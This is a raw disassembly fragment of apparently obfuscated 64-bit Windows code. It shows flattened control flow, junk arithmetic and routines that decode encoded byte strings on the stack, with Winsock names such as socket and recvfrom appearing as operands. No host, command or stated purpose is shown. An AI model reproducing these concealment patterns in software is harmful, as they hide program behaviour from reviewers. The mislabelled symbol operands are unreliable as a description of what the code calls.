lea r11d, [rcx*2 - 0x78]
jmp 0x140179e22
movabs rcx, 0xcdf952c4fbbe379a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x36
cmp r8, 0x61
jae 0x140179c7d
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140179b33
movabs rdx, 0xda5cd7bdef3cbd6c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140179684
movabs rcx, 0xd54b7a7600de80e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x62
lea rax, [r9 + r8]
cmp rax, 4
je 0x140179cad
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140179a00
movabs rdx, 0xf39c7b070c817a2e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x42
add r11b, dl
jmp 0x1401796d4
movabs rcx, 0x68822c4950639374
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
movzx eax, byte [rbp + rbx + 0x22d4]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140179223
movabs rdx, 0xe738f60e1902f45c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140179d2f
movabs rdx, 0x26945af07d52a4d0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140179ef4
movabs rdx, 0x65efbfd2e1a25544
mov ecx, reloc.WS2_32.dll_select
jmp 0x140179edc
movabs rcx, 0xa54b24b545f205b8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x140179ea1
movabs rcx, 0xe4a68997aa41b62c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
dec rbx
inc rbx
jmp 0x140179223
movabs rcx, 0x2401ee7a0e9166a0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x140179223
movabs rdx, 0x635d535c72e11714
mov ecx, 0x3a
jmp 0x140179e0d
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1401798d0
movabs rcx, 0x60524d8ecdd827c6
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6a
jmp 0x140179736
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14017990e
movabs rcx, 0xcd80b96dc576867c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x64
movzx eax, byte [rbp + rbx + 0x22d4]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140179223
inc rax
cmp r8, rax
jne 0x14017993a
movabs rcx, 0x8e25548b6126d608
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x140179d62
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140179967
movabs rcx, 0x4ec9efa8fcd72594
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
jmp 0x140179d2f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140179999
movabs rdx, 0x90b7c101cfe81438
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140179ea1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401799cf
movabs rcx, 0x1200f73d0748b350
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x140179223
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140179736
movabs rcx, 0xd2a5925aa2f902dc
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 4
jmp 0x140179e22
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140179a2d
movabs rcx, 0xb4411624a831c9ba
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x16
jmp 0x140179e22
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140179a65
movabs rdx, 0x358a4c5fdf9268d2
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140179223
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140179a92
movabs rcx, 0xb6d3829b16f307ea
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x66
jmp 0x140179ef1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140179abf
movabs rcx, 0x77781db8b2a35776
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3a
jmp 0x140179ef4
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140179aec
movabs rcx, 0x381cb8d64e53a702
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xe
jmp 0x140179d2f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401796d4
movabs rdx, 0xb965ef1185b4461a
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x22d4]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140179223
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140179b76
movabs rdx, 0x9b0172db8aed0cf8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x22d4]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140179223
inc rax
cmp r8, rax
jne 0x140179ba7
movabs rdx, 0x5ba60df9269d5c84
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140179d62
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140179bd4
movabs rcx, 0x1c4aa916c24dac10
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x140179d2f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140179c01
movabs rcx, 0xdcef44345dfdfb9c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
jmp 0x140179ef4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140179c2e
movabs rcx, 0x9d93df51f9ae4b28
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x140179ef1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140179684
movabs rdx, 0xdf81b0aaccbf39cc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x140179223
mov byte [rbp + rbx + 0x22d4], r11b
inc rbx
jmp 0x140179223
movabs rdx, 0x216f82039fd02870
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0x22d4]
sub r11b, al
sub r11b, 0x10
add r11b, dl
add r11b, r10b
jmp 0x140179ea1
movabs rdx, 0xe2141d213b8077fc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0x22d4]
add r11b, dl
add r11b, r10b
jmp 0x140179d2f
movabs rcx, 0xac89d0c15bee0f2a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x26
movzx eax, byte [rbp + rbx + 0x22d4]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140179223
movabs rcx, 0x2b409a86248d7012
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7e
movabs rdx, 0x42666ab009589fc2
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x4e
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x22d4], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xa2b8b83ed730c788
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x22d4], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x22d4]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140179223
movabs rcx, 0xe952c92d517c816e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
jmp 0x140179ea1
movabs rcx, 0x28ae2e0fb5cc31e2
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2e
dec rbx
inc rbx
jmp 0x140179223
movabs rdx, 0xa764f7d47e6b92ca
mov ecx, 0x3d
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0xc11d3474d1f800aa
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x22d4], cl
inc r9
dec rbx
inc rbx
jmp 0x140179223
movabs rcx, 0xa4d28b5e0faa549a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x36
dec rbx
inc rbx
jmp 0x140179223
movabs rcx, 0xe42df04073fa050e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x62
movabs rdx, 0x81c1cf926da85036
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x7a
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x22d4], cl
jmp 0x140179ef1
movabs rdx, 0x23895522d849b582
mov ecx, 0x39
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140179223
movabs rcx, 0x20f6e8ac69887752
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x3e
movzx eax, byte [rbp + rbx + 0x22d4]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140179223
movabs rcx, 0xac24b30f14ca9de
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x12
jmp 0x14017921e
movabs rcx, 0x4a1db013559c5a52
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3e
jmp 0x140179209
lea rdx, [rbp + 0x17adbdc]
jmp 0x140179fa2
lea rdx, [rbp + 0x11303a2]
jmp 0x140179fa2
lea rdx, [rbp + 0x22d4]
lea rcx, [rbp + 0x1350]
call fcn.14013e790
nop
lea r8, [rbp + 0x140]
lea rdx, [rbp + 0x1350]
mov rcx, rsi
call fcn.1401a5f10
nop
lea rcx, [rbp + 0x1350]
call fcn.14013e780
lea rcx, [rbp + 0x148]
call fcn.14015a930
mov rbx, rax
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x630]
call fcn.14015d390
mov r9, rbx
mov r8, rax
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x610]
call fcn.1401e8d40
nop
lea r8, [rbp - 0x69]
lea rdx, [rbp + 0x650]
mov rcx, rax
call fcn.1401a6d30
mov rbx, rax
lea r8, [rbp - 0x6b]
lea rdx, [rbp + 0x12f0]
lea rcx, [rbp + 0x660]
call fcn.14015d580
mov r8, rax
lea rdx, [rbp + 0x670]
mov rcx, rbx
call fcn.1401a7090
nop
mov rcx, rax
call fcn.14015c4b0
nop
lea rcx, [rbp + 0x670]
call fcn.140157830
nop
lea rcx, [rbp + 0x650]
call fcn.140157830
nop
lea rcx, [rbp + 0x640]
call fcn.140157830
nop
lea rcx, [rbp + 0x148]
call fcn.14015a940
cmp byte [rbp - 0x6b], 0
je 0x14017aea0
mov byte [rbp + 0xbd0], 0xd9
mov byte [rbp + 0xbd1], 0xe3
mov byte [rbp + 0xbd2], 0xe2
mov byte [rbp + 0xbd3], 0xe2
mov byte [rbp + 0xbd4], 0xe0
mov byte [rbp + 0xbd5], 0x9d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbd6], xmm0
mov dword [rbp + 0xbe6], eax
mov byte [rbp + 0xbea], al
movabs rdi, 0xff1c9e82f36b170f
movabs rsi, 0x3712c3dcacb8a4d1
movzx r11d, byte [rbp + 0x5d00]
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
mov rbx, r12
cmp rbx, 0x1b
jae 0x14017ae8b
movzx r10d, byte [rbp + rbx + 0xbd0]
mov rdx, r10
nop dword [rax]
cmp r9, rbx
ja 0x14017ae76
lea rcx, [r8 + 1]
cmp r9, rcx
jae 0x14017a155
movabs rcx, 0x1856b236ff669f93
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 5
jmp 0x14017a190
je 0x14017ade5
lea rax, [r8 + 2]
cmp r9, rax
je 0x14017ad47
lea rax, [rcx + 1]
cmp r9, rax
je 0x14017ad0c
lea rax, [r8 + 3]
cmp r9, rax
je 0x14017ace1
lea rax, [r8 + 6]
cmp r9, rax
je 0x14017acb3
nop
cmp r8, rbx
ja 0x14017ae61
lea rax, [r8 + 0x10]
cmp r9, rax
jae 0x14017a1ba
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x69
jmp 0x14017a1f0
lea rax, [r8 + 1]
cmp r9, rax
je 0x14017ac5b
lea rax, [r8 + 5]
cmp r9, rax
je 0x14017ac36
lea rax, [r8 + 3]
cmp r9, rax
je 0x14017ac12
lea rax, [r8 + 2]
cmp r9, rax
je 0x14017abea
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14017a84e
nop dword [rax]
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x14017a829
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14017a7fb
lea rax, [r8 + 1]
cmp r9, rax
je 0x14017a7d0
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x14017a7ac
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x14017a788
lea rax, [r8 + 5]
cmp r9, rax
je 0x14017a763
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x14017a73f
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14017a717
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x14017a6e2
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x14017a200
lea r9, [r8 + 0x400]
lea r8, [r9 + 0x42]
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x14017ae3d
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x14017ae19
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x14017a3ff
lea rax, [r8 + 4]
cmp r9, rax
jb 0x14017a3d7
lea rax, [r8 + 3]
cmp r9, rax
jb 0x14017a3b8
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x14017a67f
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14017a61f
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x14017a5cc
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x14017a59c
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x14017a200
lea r9, [r8 + 8]
lea r8, [r9 + 2]
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x14017a562
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x14017a53a
lea rax, [r8 + 2]
cmp r9, rax
ja 0x14017a516
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x14017a4f1
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x14017a4cc
lea rax, [r8 + 6]
cmp r9, rax
ja 0x14017a4a4
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x14017a479
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14017a44b
lea rax, [r8 + 1]
cmp r9, rax
ja 0x14017a426
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x14017a200
lea r9, [r8 + 0x1000]
lea r8, [r9 + 0x64]
jmp 0x14017a200
lea rdx, [rbx + rsi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x49
add r11b, dl
jmp 0x14017a1f0
movabs rdx, 0x6655f6eadeb65ab
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x53
add r11b, dl
jmp 0x14017a190
movabs rdx, 0xd5b7fb00af1e2685
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 0x5d
add r11b, dl
jmp 0x14017a116
movabs rdx, 0xf8e4f4179b58b878
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
jmp 0x14017ac7b
movabs rcx, 0xc8378fa99c8b7952
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3e
inc r8
dec rbx
inc rbx
jmp 0x14017a103
movabs rcx, 0x978a2b3b9dbe3a2c
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x34
dec rbx
inc rbx
jmp 0x14017a103
movabs rdx, 0x66dcc6cd9ef0fb06
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2a
add r11b, dl
jmp 0x14017ab8b
movabs rcx, 0x362f625fa023bbe0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
jmp 0x14017ad2b
movabs rcx, 0x581fdf1a1567cba
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x16
jmp 0x14017ad2e
movabs rcx, 0xd4d49983a2893d94
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
jmp 0x14017ad68
movabs rdx, 0xa4273515a3bbfe6e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 2
add r11b, dl
jmp 0x14017ad9b
movabs rdx, 0x7379d0a7a4eebf48
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xbd0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017a103
movabs rcx, 0xf9c85594a7eda169
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x21
mov byte [rbp + rbx + 0xbd0], r11b
inc rbx
jmp 0x14017a103
movabs rdx, 0xc91af126a9206243
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2b
add r11b, dl
cmp r8, 2
jb 0x14017a5bc
movabs rdx, 0xb28b01e9c2e39492
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14017ac7e
movabs rdx, 0x986d8cb8aa53231d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x35
add r11b, dl
cmp r9, 0x42
jae 0x14017ab60
lea rax, [r8 + 0xa]
cmp r9, rax
jbe 0x14017aa1a
movabs rdx, 0xcbc5159dcedf1d16
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14017a5ec
movabs rdx, 0x67c0284aab85e3f7
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x3f
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 1
je 0x14017abba
lea rax, [r8 + 0x61]
cmp r9, rax
jbe 0x14017a989
movabs rdx, 0xcca8771adb740607
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x31
jmp 0x14017a63f
movabs rcx, 0xfaabb711b4828a5a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x76
movzx eax, byte [rbp + rbx + 0xbd0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017a103
movabs rdx, 0xc9fe52a3b5b54b34
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x14017ad9b
movabs rcx, 0x9950ee35b6e80c0e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x62
jmp 0x14017ad68
movabs rcx, 0x68a389c7b81acce8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x58
jmp 0x14017ad2e
movabs rcx, 0x37f62559b94d8dc2
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4e
jmp 0x14017ad2b
movabs rcx, 0x748c0ebba804e9c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
jmp 0x14017ab8b
movabs rcx, 0xd69b5c7dbbb30f76
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3a
dec rbx
inc rbx
jmp 0x14017a103
movabs rcx, 0xa5edf80fbce5d050
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x30
inc r8
dec rbx
inc rbx
jmp 0x14017a103
movabs rdx, 0x754093a1be18912a
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x26
jmp 0x14017ac7b
lea rax, [r8 + 3]
cmp r9, rax
jae 0x14017a87c
movabs rdx, 0x1856b236ff669f93
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 5
jmp 0x14017a69f
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14017a8bf
movabs rdx, 0xfe393d05e6d62e1e
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xbd0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017a103
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14017a8f1
movabs rdx, 0x5f9405e1e470ac6a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017ad68
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14017a923
movabs rdx, 0x90416a4fe33deb90
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017ad2e
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14017a957
movabs rcx, 0x22499799dfa5a902
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xe
dec rbx
inc rbx
jmp 0x14017a103
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14017a6a2
movabs rdx, 0x83a46075dd40274e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x22
jmp 0x14017ac7b
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14017a9b7
movabs rdx, 0xfd55db88da41452d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3b
jmp 0x14017ac7b
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14017a9e5
movabs rcx, 0xf0b8d1aed44380eb
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6d
jmp 0x14017ad2e
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14017a642
movabs rdx, 0x2166361cd310c011
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x77
add r11b, dl
jmp 0x14017ad68
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14017aa5d
movabs rdx, 0xfc727a0bcdac5c3c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xbd0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017a103
inc rax
cmp r9, rax
jne 0x14017aa8e
movabs rdx, 0x2d1fde79cc799b62
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017ad9b
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14017aac0
movabs rdx, 0x5dcd42e7cb46da88
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017ad68
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14017aaf2
movabs rdx, 0x8e7aa755ca1419ae
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017ad2e
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14017ab2d
movabs rdx, 0x5130390dc5491646
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_addr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rbx
inc rbx
jmp 0x14017a103
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14017a5ef
movabs rdx, 0x81dd9d7bc416556c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14017ac7b
movabs rdx, 0xe3386657c1b0d3b8
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0xbd0]
sub r11b, al
sub r11b, 8
add r11b, dl
add r11b, r10b
movabs rcx, 0xfb8f188ec117734b
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0xd
add r10b, r11b
add r10b, cl
mov byte [rbp + rbx + 0xbd0], r10b
jmp 0x14017ad2b
movabs rdx, 0x13e5cac5c07e12de
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rbx + 0xbd0]
sub r11b, 0x12
add r11b, dl
jmp 0x14017ad68
movabs rdx, 0x8487c1f2e9d5103f
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x47
add r11b, dl
jmp 0x14017ad9b
movabs rcx, 0x53da5d84eb07d119
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x51
jmp 0x14017ad68
movabs rcx, 0xf27f94a8ed6d52cd
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x65
